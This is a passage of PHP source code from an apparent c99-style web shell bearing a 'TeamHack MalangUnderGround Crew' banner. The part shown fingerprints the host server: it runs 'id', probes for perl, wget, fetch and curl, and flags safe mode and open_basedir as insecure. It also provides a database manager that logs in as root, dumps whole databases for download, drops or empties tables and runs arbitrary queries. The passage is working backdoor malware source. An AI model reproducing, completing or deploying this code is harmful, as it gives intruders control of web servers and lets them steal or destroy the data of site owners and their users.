1799 if (!headers_sent() and $gzipencode and !in_array($ft, array(
1800 "img",
1801 "download",
1802 "notepad"
1803 ))) {
1804 $v = @ob_get_contents();
1805 @ob_end_clean();
1806 @ob_start("ob_gzHandler");
1807 echo $v;
1808 @ob_end_flush();
1809 }
1810 }
1811 function c99shexit()
1812 {
1813 onphpshutdown();
1814 exit;
1815 }
1816 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
1817 header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
1818 header("Cache-Control: no-store, no-cache, must-revalidate");
1819 header("Cache-Control: post-check=0, pre-check=0", FALSE);
1820 header("Pragma: no-cache");
1821 //Setting Temporary Dir
1822 if (empty($tmpdir)) {
1823 $tmpdir = ini_get("upload_tmp_dir");
1824 if (is_dir($tmpdir)) {
1825 $tmpdir = "/tmp/";
1826 }
1827 }
1828 $tmpdir = realpath($tmpdir);
1829 $tmpdir = str_replace("\\", DIRECTORY_SEPARATOR, $tmpdir);
1830 if (substr($tmpdir, -1) != DIRECTORY_SEPARATOR) {
1831 $tmpdir .= DIRECTORY_SEPARATOR;
1832 }
1833 if (empty($tmpdir_logs)) {
1834 $tmpdir_logs = $tmpdir;
1835 } else {
1836 $tmpdir_logs = realpath($tmpdir_logs);
1837 }
1838 //Getting Status
1839 function showstat($stat)
1840 {
1841 if ($stat == "on") {
1842 return "<font color=#00FF00><b>ON</b></font>";
1843 } else {
1844 return "<font color=#FF9900><b>OFF</b></font>";
1845 }
1846 }
1847 function testperl()
1848 {
1849 if (ex('perl -h')) {
1850 return showstat("on");
1851 } else {
1852 return showstat("off");
1853 }
1854 }
1855 function testfetch()
1856 {
1857 if (ex('fetch --help')) {
1858 return showstat("on");
1859 } else {
1860 return showstat("off");
1861 }
1862 }
1863 function testwget()
1864 {
1865 if (ex('wget --help')) {
1866 return showstat("on");
1867 } else {
1868 return showstat("off");
1869 }
1870 }
1871 function testoracle()
1872 {
1873 if (function_exists('ocilogon')) {
1874 return showstat("on");
1875 } else {
1876 return showstat("off");
1877 }
1878 }
1879 function testpostgresql()
1880 {
1881 if (function_exists('pg_connect')) {
1882 return showstat("on");
1883 } else {
1884 return showstat("off");
1885 }
1886 }
1887 function testmssql()
1888 {
1889 if (function_exists('mssql_connect')) {
1890 return showstat("on");
1891 } else {
1892 return showstat("off");
1893 }
1894 }
1895 function testcurl()
1896 {
1897 if (function_exists('curl_version')) {
1898 return showstat("on");
1899 } else {
1900 return showstat("off");
1901 }
1902 }
1903 function testmysql()
1904 {
1905 if (function_exists('mysql_connect')) {
1906 return showstat("on");
1907 } else {
1908 return showstat("off");
1909 }
1910 }
1911 function showdisablefunctions()
1912 {
1913 if ($disablefunc = @ini_get("disable_functions")) {
1914 return "<font color=#FF9900><b>" . $disablefunc . "</b></font>";
1915 } else {
1916 return "<font color=#00FF00><b>NONE</b></b></font>";
1917 }
1918 }
1919 //Getting Safe Mode Status
1920 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
1921 $safemode = TRUE;
1922 $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
1923 } else {
1924 $safemode = FALSE;
1925 $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";
1926 }
1927 $v = @ini_get("open_basedir");
1928 if ($v or strtolower($v) == "on") {
1929 $openbasedir = TRUE;
1930 $hopenbasedir = "<font color=red>" . $v . "</font>";
1931 } else {
1932 $openbasedir = FALSE;
1933 $hopenbasedir = "<font color=green>OFF (not secure)</font>";
1934 }
1935 $sort = htmlspecialchars($sort);
1936 if (empty($sort)) {
1937 $sort = $sort_default;
1938 }
1939 $sort = strtolower($sort[1]);
1940 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
1941 if (!ereg("PHP/" . phpversion(), $DISP_SERVER_SOFTWARE)) {
1942 $DISP_SERVER_SOFTWARE .= ". PHP/" . phpversion();
1943 }
1944 $DISP_SERVER_SOFTWARE = str_replace("PHP/" . phpversion(), "<a href=\"" . $surl . "act=phpinfo\" target=\"_blank\"><b><u>PHP/" . phpversion() . "</u></b></a>", htmlspecialchars($DISP_SERVER_SOFTWARE));
1945 @ini_set("highlight.bg", $highlight_bg);
1946 @ini_set("highlight.comment", $highlight_comment);
1947 @ini_set("highlight.default", $highlight_default);
1948 @ini_set("highlight.html", $highlight_html);
1949 @ini_set("highlight.keyword", $highlight_keyword);
1950 @ini_set("highlight.string", $highlight_string);
1951 if (!is_array($actbox)) {
1952 $actbox = array();
1953 }
1954 $dspact = $act = htmlspecialchars($act);
1955 $disp_fullpath = $ls_arr = $notls = null;
1956 $ud = urlencode($d);
1957 //Directory
1958 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
1959 if (empty($d)) {
1960 $d = realpath(".");
1961 } elseif (realpath($d)) {
1962 $d = realpath($d);
1963 }
1964 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
1965 if (substr($d, -1) != DIRECTORY_SEPARATOR) {
1966 $d .= DIRECTORY_SEPARATOR;
1967 }
1968 $d = str_replace("\\\\", "\\", $d);
1969 $dispd = htmlspecialchars($d);
1970 /***** HTML START *****/
1971 echo $html_start;
1972 echo "<div class=barheader2><h3>$sh_name</h3>.: TeamHack MalangUnderGround Crew :.</div>\n";
1973 echo "<table id=pagebar><tr><td width=50%><p>" . "Software : " . $DISP_SERVER_SOFTWARE . " - <a href=" . $surl . "act=phpini>php.ini</a><br>" . "$hsafemode<br>" . "OS : " . php_uname() . "<br>";
1974 if (!$win) {
1975 echo "User ID : " . myshellexec("id");
1976 } else {
1977 echo "User : " . get_current_user();
1978 }
1979 echo "</p></td>" . "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/" . gethostbyname($_SERVER["HTTP_HOST"]) . ">" . gethostbyname($_SERVER["HTTP_HOST"]) . "</a> - " . "Your IP : <a href=http://whois.domaintools.com/" . $_SERVER["REMOTE_ADDR"] . ">" . $_SERVER["REMOTE_ADDR"] . "</a><br>";
1980 if ($win) {
1981 echo "Drives : " . disp_drives($d, $surl) . "<br>";
1982 }
1983 echo "Freespace : " . disp_freespace($d);
1984 echo "</p></td></tr>";
1985 echo "<tr><td colspan=2><p>";
1986 echo "MySQL: " . testmysql() . " MSSQL: " . testmssql() . " Oracle: " . testoracle() . " MSSQL: " . testmssql() . " PostgreSQL: " . testpostgresql() . " cURL: " . testcurl() . " WGet: " . testwget() . " Fetch: " . testfetch() . " Perl: " . testperl() . "<br>";
1987 echo "Disabled Functions: " . showdisablefunctions();
1988 echo "</p></td></tr>";
1989 echo "<tr><td colspan=2 id=mainmenu>";
1990 if (count($quicklaunch2) > 0) {
1991 foreach ($quicklaunch2 as $item) {
1992 $item = str_replace("%d", urlencode($d), $item[1]);
1993 $item = str_replace("%sort", $sort, $item[1]);
1994 $v = realpath($d . "..");
1995 if (empty($v)) {
1996 $a = explode(DIRECTORY_SEPARATOR, $d);
1997 unset($a[count($a) - 2]);
1998 $v = join(DIRECTORY_SEPARATOR, $a);
1999 }
2000 $item = str_replace("%upd", urlencode($v), $item[1]);
2001 echo "<a href=\"" . $item[1] . "\">" . $item[0] . "</a>\n";
2002 }
2003 }
2004 echo "</td><tr><td colspan=2 id=mainmenu>";
2005 if (count($quicklaunch1) > 0) {
2006 foreach ($quicklaunch1 as $item) {
2007 $item = str_replace("%d", urlencode($d), $item[1]);
2008 $item = str_replace("%sort", $sort, $item[1]);
2009 $v = realpath($d . "..");
2010 if (empty($v)) {
2011 $a = explode(DIRECTORY_SEPARATOR, $d);
2012 unset($a[count($a) - 2]);
2013 $v = join(DIRECTORY_SEPARATOR, $a);
2014 }
2015 $item = str_replace("%upd", urlencode($v), $item[1]);
2016 echo "<a href=\"" . $item[1] . "\">" . $item[0] . "</a>\n";
2017 }
2018 }
2019 echo "</td></tr><tr><td colspan=2>";
2020 echo "<p class=fleft>";
2021 $pd = $e = explode(DIRECTORY_SEPARATOR, substr($d, 0, -1));
2022 $i = 0;
2023 foreach ($pd as $b) {
2024 $t = "";
2025 $j = 0;
2026 foreach ($e as $r) {
2027 $t .= $r . DIRECTORY_SEPARATOR;
2028 if ($j == $i) {
2029 break;
2030 }
2031 $j++;
2032 }
2033 echo "<a href=\"" . $surl . "act=ls&d=" . urlencode($t) . "&sort=" . $sort . "\"><font color=yellow>" . htmlspecialchars($b) . DIRECTORY_SEPARATOR . "</font></a>";
2034 $i++;
2035 }
2036 echo " - ";
2037 if (is_writable($d)) {
2038 $wd = TRUE;
2039 $wdt = "<font color=#00FF00>[OK]</font>";
2040 echo "<b><font color=green>" . view_perms(fileperms($d)) . "</font></b>";
2041 } else {
2042 $wd = FALSE;
2043 $wdt = "<font color=red>[Read-Only]</font>";
2044 echo "<b>" . view_perms_color($d) . "</b>";
2045 }
2046?>
2047</p>
2048<div class=fright>
2049<form method="POST"><input type=hidden name=act value="ls">
2050Directory: <input type="text" name="d" size="50" value="<?php
2051 echo $dispd;
2052?>"> <input type=submit value="Go">
2053</form>
2054</div>
2055</td></tr></table>
2056<?php
2057 //Information Table
2058 echo "<table id=maininfo><tr><td width=\"100%\">\n";
2059 //Action
2060 if ($act == "") {
2061 $act = $dspact = "ls";
2062 }
2063 if ($act == "phpini") {
2064 get_phpini();
2065 }
2066 if ($act == "sql") {
2067 $sql_surl = $surl . "act=sql";
2068 if ($sql_login) {
2069 $sql_surl .= "&sql_login=" . htmlspecialchars($sql_login);
2070 }
2071 if ($sql_passwd) {
2072 $sql_surl .= "&sql_passwd=" . htmlspecialchars($sql_passwd);
2073 }
2074 if ($sql_server) {
2075 $sql_surl .= "&sql_server=" . htmlspecialchars($sql_server);
2076 }
2077 if ($sql_port) {
2078 $sql_surl .= "&sql_port=" . htmlspecialchars($sql_port);
2079 }
2080 if ($sql_db) {
2081 $sql_surl .= "&sql_db=" . htmlspecialchars($sql_db);
2082 }
2083 $sql_surl .= "&";
2084 echo "<h4>Attention! SQL-Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>" . "<table>" . "<tr><td width=\"100%\" colspan=2 class=barheader>";
2085 if ($sql_server) {
2086 $sql_sock = mysql_connect($sql_server . ":" . $sql_port, $sql_login, $sql_passwd);
2087 $err = mysql_smarterror();
2088 @mysql_select_db($sql_db, $sql_sock);
2089 if ($sql_query and $submit) {
2090 $sql_query_result = mysql_query($sql_query, $sql_sock);
2091 $sql_query_error = mysql_smarterror();
2092 }
2093 } else {
2094 $sql_sock = FALSE;
2095 }
2096 echo ".: SQL Manager :.<br>";
2097 if (!$sql_sock) {
2098 if (!$sql_server) {
2099 echo "NO CONNECTION";
2100 } else {
2101 echo "Can't connect! " . $err;
2102 }
2103 } else {
2104 $sqlquicklaunch = array();
2105 $sqlquicklaunch[] = array(
2106 "Index",
2107 $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&"
2108 );
2109 $sqlquicklaunch[] = array(
2110 "Query",
2111 $sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl)
2112 );
2113 $sqlquicklaunch[] = array(
2114 "Server-status",
2115 $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=serverstatus"
2116 );
2117 $sqlquicklaunch[] = array(
2118 "Server variables",
2119 $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=servervars"
2120 );
2121 $sqlquicklaunch[] = array(
2122 "Processes",
2123 $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=processes"
2124 );
2125 $sqlquicklaunch[] = array(
2126 "Logout",
2127 $surl . "act=sql"
2128 );
2129 echo "MySQL " . mysql_get_server_info() . " (proto v." . mysql_get_proto_info() . ") running in " . htmlspecialchars($sql_server) . ":" . htmlspecialchars($sql_port) . " as " . htmlspecialchars($sql_login) . "@" . htmlspecialchars($sql_server) . " (password - \"" . htmlspecialchars($sql_passwd) . "\")<br>";
2130 if (count($sqlquicklaunch) > 0) {
2131 foreach ($sqlquicklaunch as $item) {
2132 echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
2133 }
2134 }
2135 }
2136 echo "</td></tr><tr>";
2137 if (!$sql_sock) {
2138 echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
2139 echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
2140 } else {
2141 //Start left panel
2142 if (!empty($sql_db)) {
2143?><td width="25%" height="100%" valign="top"><a href="<?php
2144 echo $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&";
2145?>"><b>Home</b></a><hr size="1" noshade>
2146<?php
2147 $result = mysql_list_tables($sql_db);
2148 if (!$result) {
2149 echo mysql_smarterror();
2150 } else {
2151 echo "---[ <a href=\"" . $sql_surl . "&\"><b>" . htmlspecialchars($sql_db) . "</b></a> ]---<br>";
2152 $c = 0;
2153 while ($row = mysql_fetch_array($result)) {
2154 $count = mysql_query("SELECT COUNT(*) FROM " . $row[0]);
2155 $count_row = mysql_fetch_array($count);
2156 echo "<b>+ <a href=\"" . $sql_surl . "sql_db=" . htmlspecialchars($sql_db) . "&sql_tbl=" . htmlspecialchars($row[0]) . "\"><b>" . htmlspecialchars($row[0]) . "</b></a> (" . $count_row[0] . ")</br></b>";
2157 mysql_free_result($count);
2158 $c++;
2159 }
2160 if (!$c) {
2161 echo "No tables found in database.";
2162 }
2163 }
2164 } else {
2165?><td width="1" height="100" valign="top"><a href="<?php
2166 echo $sql_surl;
2167?>"><b>Home</b></a><hr size="1" noshade>
2168<?php
2169 $result = mysql_list_dbs($sql_sock);
2170 if (!$result) {
2171 echo mysql_smarterror();
2172 } else {
2173?><form action="<?php
2174 echo $surl;
2175?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php
2176 echo htmlspecialchars($sql_login);
2177?>"><input type="hidden" name="sql_passwd" value="<?php
2178 echo htmlspecialchars($sql_passwd);
2179?>"><input type="hidden" name="sql_server" value="<?php
2180 echo htmlspecialchars($sql_server);
2181?>"><input type="hidden" name="sql_port" value="<?php
2182 echo htmlspecialchars($sql_port);
2183?>"><select name="sql_db">
2184<?php
2185 $c = 0;
2186 $dbs = "";
2187 while ($row = mysql_fetch_row($result)) {
2188 $dbs .= "<option value=\"" . $row[0] . "\"";
2189 if ($sql_db == $row[0]) {
2190 $dbs .= " selected";
2191 }
2192 $dbs .= ">" . $row[0] . "</option>";
2193 $c++;
2194 }
2195 echo "<option value=\"\">Databases (" . $c . ")</option>";
2196 echo $dbs;
2197 }
2198?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
2199<?php
2200 }
2201 //End left panel
2202 echo "</td><td width=\"100%\">";
2203 //Start center panel
2204 $diplay = TRUE;
2205 if ($sql_db) {
2206 if (!is_numeric($c)) {
2207 $c = 0;
2208 }
2209 if ($c == 0) {
2210 $c = "no";
2211 }
2212 echo "<hr size=\"1\" noshade><center><b>There are " . $c . " table(s) in this DB (" . htmlspecialchars($sql_db) . ").<br>";
2213 if (count($dbquicklaunch) > 0) {
2214 foreach ($dbsqlquicklaunch as $item) {
2215 echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
2216 }
2217 }
2218 echo "</b></center>";
2219 $acts = array(
2220 "",
2221 "dump"
2222 );
2223 if ($sql_act == "tbldrop") {
2224 $sql_query = "DROP TABLE";
2225 foreach ($boxtbl as $v) {
2226 $sql_query .= "\n`" . $v . "` ,";
2227 }
2228 $sql_query = substr($sql_query, 0, -1) . ";";
2229 $sql_act = "query";
2230 } elseif ($sql_act == "tblempty") {
2231 $sql_query = "";
2232 foreach ($boxtbl as $v) {
2233 $sql_query .= "DELETE FROM `" . $v . "` \n";
2234 }
2235 $sql_act = "query";
2236 } elseif ($sql_act == "tbldump") {
2237 if (count($boxtbl) > 0) {
2238 $dmptbls = $boxtbl;
2239 } elseif ($thistbl) {
2240 $dmptbls = array(
2241 $sql_tbl
2242 );
2243 }
2244 $sql_act = "dump";
2245 } elseif ($sql_act == "tblcheck") {
2246 $sql_query = "CHECK TABLE";
2247 foreach ($boxtbl as $v) {
2248 $sql_query .= "\n`" . $v . "` ,";
2249 }
2250 $sql_query = substr($sql_query, 0, -1) . ";";
2251 $sql_act = "query";
2252 } elseif ($sql_act == "tbloptimize") {
2253 $sql_query = "OPTIMIZE TABLE";
2254 foreach ($boxtbl as $v) {
2255 $sql_query .= "\n`" . $v . "` ,";
2256 }
2257 $sql_query = substr($sql_query, 0, -1) . ";";
2258 $sql_act = "query";
2259 } elseif ($sql_act == "tblrepair") {
2260 $sql_query = "REPAIR TABLE";
2261 foreach ($boxtbl as $v) {
2262 $sql_query .= "\n`" . $v . "` ,";
2263 }
2264 $sql_query = substr($sql_query, 0, -1) . ";";
2265 $sql_act = "query";
2266 } elseif ($sql_act == "tblanalyze") {
2267 $sql_query = "ANALYZE TABLE";
2268 foreach ($boxtbl as $v) {
2269 $sql_query .= "\n`" . $v . "` ,";
2270 }
2271 $sql_query = substr($sql_query, 0, -1) . ";";
2272 $sql_act = "query";
2273 } elseif ($sql_act == "deleterow") {
2274 $sql_query = "";
2275 if (!empty($boxrow_all)) {
2276 $sql_query = "DELETE * FROM `" . $sql_tbl . "`;";
2277 } else {
2278 foreach ($boxrow as $v) {
2279 $sql_query .= "DELETE * FROM `" . $sql_tbl . "` WHERE" . $v . " LIMIT 1;\n";
2280 }
2281 $sql_query = substr($sql_query, 0, -1);
2282 }
2283 $sql_act = "query";
2284 } elseif ($sql_tbl_act == "insert") {
2285 if ($sql_tbl_insert_radio == 1) {
2286 $keys = "";
2287 $akeys = array_keys($sql_tbl_insert);
2288 foreach ($akeys as $v) {
2289 $keys .= "`" . addslashes($v) . "`, ";
2290 }
2291 if (!empty($keys)) {
2292 $keys = substr($keys, 0, strlen($keys) - 2);
2293 }
2294 $values = "";
2295 $i = 0;
2296 foreach (array_values($sql_tbl_insert) as $v) {
2297 if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {
2298 $values .= $funct . " (";
2299 }
2300 $values .= "'" . addslashes($v) . "'";
2301 if ($funct) {
2302 $values .= ")";
2303 }
2304 $values .= ", ";
2305 $i++;
2306 }
2307 if (!empty($values)) {
2308 $values = substr($values, 0, strlen($values) - 2);
2309 }
2310 $sql_query = "INSERT INTO `" . $sql_tbl . "` ( " . $keys . " ) VALUES ( " . $values . " );";
2311 $sql_act = "query";
2312 $sql_tbl_act = "browse";
2313 } elseif ($sql_tbl_insert_radio == 2) {
2314 $set = mysql_buildwhere($sql_tbl_insert, ", ", $sql_tbl_insert_functs);
2315 $sql_query = "UPDATE `" . $sql_tbl . "` SET " . $set . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;";
2316 $result = mysql_query($sql_query) or print(mysql_smarterror());
2317 $result = mysql_fetch_array($result, MYSQL_ASSOC);
2318 $sql_act = "query";
2319 $sql_tbl_act = "browse";
2320 }
2321 }
2322 if ($sql_act == "query") {
2323 echo "<hr size=\"1\" noshade>";
2324 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {
2325 if (!$sql_query_error) {
2326 $sql_query_error = "Query was empty";
2327 }
2328 echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
2329 }
2330 if ($sql_query_result or (!$sql_confirm)) {
2331 $sql_act = $sql_goto;
2332 }
2333 if ((!$submit) or ($sql_act)) {
2334 echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"" . $sql_surl . "\" method=\"POST\"><b>";
2335 if (($sql_query) and (!$submit)) {
2336 echo "Do you really want to:";
2337 } else {
2338 echo "SQL-Query :";
2339 }
2340 echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";
2341 }
2342 }
2343 if (in_array($sql_act, $acts)) {
2344?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
2345<form action="<?php
2346 echo $surl;
2347?>">
2348<input type="hidden" name="act" value="sql">
2349<input type="hidden" name="sql_act" value="newtbl">
2350<input type="hidden" name="sql_db" value="<?php
2351 echo htmlspecialchars($sql_db);
2352?>">
2353<input type="hidden" name="sql_login" value="<?php
2354 echo htmlspecialchars($sql_login);
2355?>">
2356<input type="hidden" name="sql_passwd" value="<?php
2357 echo htmlspecialchars($sql_passwd);
2358?>">
2359<input type="hidden" name="sql_server" value="<?php
2360 echo htmlspecialchars($sql_server);
2361?>">
2362<input type="hidden" name="sql_port" value="<?php
2363 echo htmlspecialchars($sql_port);
2364?>">
2365<input type="text" name="sql_newtbl" size="20">
2366<input type="submit" value="Create">
2367</form></td>
2368<td width="30%" height="1"><b>Dump DB:</b>
2369<form action="<?php
2370 echo $surl;
2371?>">
2372<input type="hidden" name="act" value="sql">
2373<input type="hidden" name="sql_act" value="dump">
2374<input type="hidden" name="sql_db" value="<?php
2375 echo htmlspecialchars($sql_db);
2376?>">
2377<input type="hidden" name="sql_login" value="<?php
2378 echo htmlspecialchars($sql_login);
2379?>">
2380<input type="hidden" name="sql_passwd" value="<?php
2381 echo htmlspecialchars($sql_passwd);
2382?>">
2383<input type="hidden" name="sql_server" value="<?php
2384 echo htmlspecialchars($sql_server);
2385?>"><input type="hidden" name="sql_port" value="<?php
2386 echo htmlspecialchars($sql_port);
2387?>"><input type="text" name="dump_file" size="30" value="<?php
2388 echo "dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql";
2389?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
2390<?php
2391 if (!empty($sql_act)) {
2392 echo "<hr size=\"1\" noshade>";
2393 }
2394 if ($sql_act == "newtbl") {
2395 echo "<b>";
2396 if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb))) {
2397 echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
2398 } else {
2399 echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
2400 }
2401 } elseif ($sql_act == "dump") {
2402 if (empty($submit)) {
2403 $diplay = FALSE;
2404 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><b>SQL-Dump:</b><br><br>";
2405 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"" . urlencode($sql_db) . "\"><br><br>";
2406 $v = join(";", $dmptbls);
2407 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"" . htmlspecialchars($v) . "\" size=\"" . (strlen($v) + 5) . "\"><br><br>";
2408 if ($dump_file) {
2409 $tmp = $dump_file;
2410 } else {
2411 $tmp = htmlspecialchars("./dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql");
2412 }
2413 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"" . $tmp . "\" size=\"" . (strlen($tmp) + strlen($tmp) % 30) . "\"><br><br>";
2414 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
2415 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
2416 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
2417 echo "</form>";
2418 } else {
2419 $diplay = TRUE;
2420 $set = array();
2421 $set["sock"] = $sql_sock;
2422 $set["db"] = $sql_db;
2423 $dump_out = "download";
2424 $set["print"] = 0;
2425 $set["nl2br"] = 0;
2426 $set[""] = 0;
2427 $set["file"] = $dump_file;
2428 $set["add_drop"] = TRUE;
2429 $set["onlytabs"] = array();
2430 if (!empty($dmptbls)) {
2431 $set["onlytabs"] = explode(";", $dmptbls);
2432 }
2433 $ret = mysql_dump($set);
2434 if ($sql_dump_download) {
2435 @ob_clean();
2436 header("Content-type: application/octet-stream");
2437 header("Content-length: " . strlen($ret));
2438 header("Content-disposition: attachment; filename=\"" . basename($sql_dump_file) . "\";");
2439 echo $ret;
2440 exit;
2441 } elseif ($sql_dump_savetofile) {
2442 $fp = fopen($sql_dump_file, "w");
2443 if (!$fp) {
2444 echo "<b>Dump error! Can't write to \"" . htmlspecialchars($sql_dump_file) . "\"!";
2445 } else {
2446 fwrite($fp, $ret);
2447 fclose($fp);
2448 echo "<b>Dumped! Dump has been writed to \"" . htmlspecialchars(realpath($sql_dump_file)) . "\" (" . view_size(filesize($sql_dump_file)) . ")</b>.";
2449 }
2450 } else {
2451 echo "<b>Dump: nothing to do!</b>";
2452 }
2453 }
2454 }
2455 if ($diplay) {
2456 if (!empty($sql_tbl)) {
2457 if (empty($sql_tbl_act)) {
2458 $sql_tbl_act = "browse";
2459 }
2460 $count = mysql_query("SELECT COUNT(*) FROM `" . $sql_tbl . "`;");
2461 $count_row = mysql_fetch_array($count);
2462 mysql_free_result($count);
2463 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `" . $sql_tbl . "`;");
2464 $tbl_struct_fields = array();
2465 while ($row = mysql_fetch_assoc($tbl_struct_result)) {
2466 $tbl_struct_fields[] = $row;
2467 }
2468 if ($sql_ls > $sql_le) {
2469 $sql_le = $sql_ls + $perpage;
2470 }
2471 if (empty($sql_tbl_page)) {
2472 $sql_tbl_page = 0;
2473 }
2474 if (empty($sql_tbl_ls)) {
2475 $sql_tbl_ls = 0;
2476 }
2477 if (empty($sql_tbl_le)) {
2478 $sql_tbl_le = 30;
2479 }
2480 $perpage = $sql_tbl_le - $sql_tbl_ls;
2481 if (!is_numeric($perpage)) {
2482 $perpage = 10;
2483 }
2484 $numpages = $count_row[0] / $perpage;
2485 $e = explode(" ", $sql_order);
2486 if (count($e) == 2) {
2487 if ($e == "d") {
2488 $asc_desc = "DESC";
2489 } else {
2490 $asc_desc = "ASC";
2491 }
2492 $v = "ORDER BY `" . $e[1] . "` " . $asc_desc . " ";
2493 } else {
2494 $v = "";
2495 }
2496 $query = "SELECT * FROM `" . $sql_tbl . "` " . $v . "LIMIT " . $sql_tbl_ls . " , " . $perpage . "";
2497 $result = mysql_query($query) or print(mysql_smarterror());
2498 echo "<hr size=\"1\" noshade><center><b>Table " . htmlspecialchars($sql_tbl) . " (" . mysql_num_fields($result) . " cols and " . $count_row[0] . " rows)</b></center>";
2499 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=structure\">[<b> Structure </b>]</a> ";
2500 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=browse\">[<b> Browse </b>]</a> ";
2501 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
2502 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
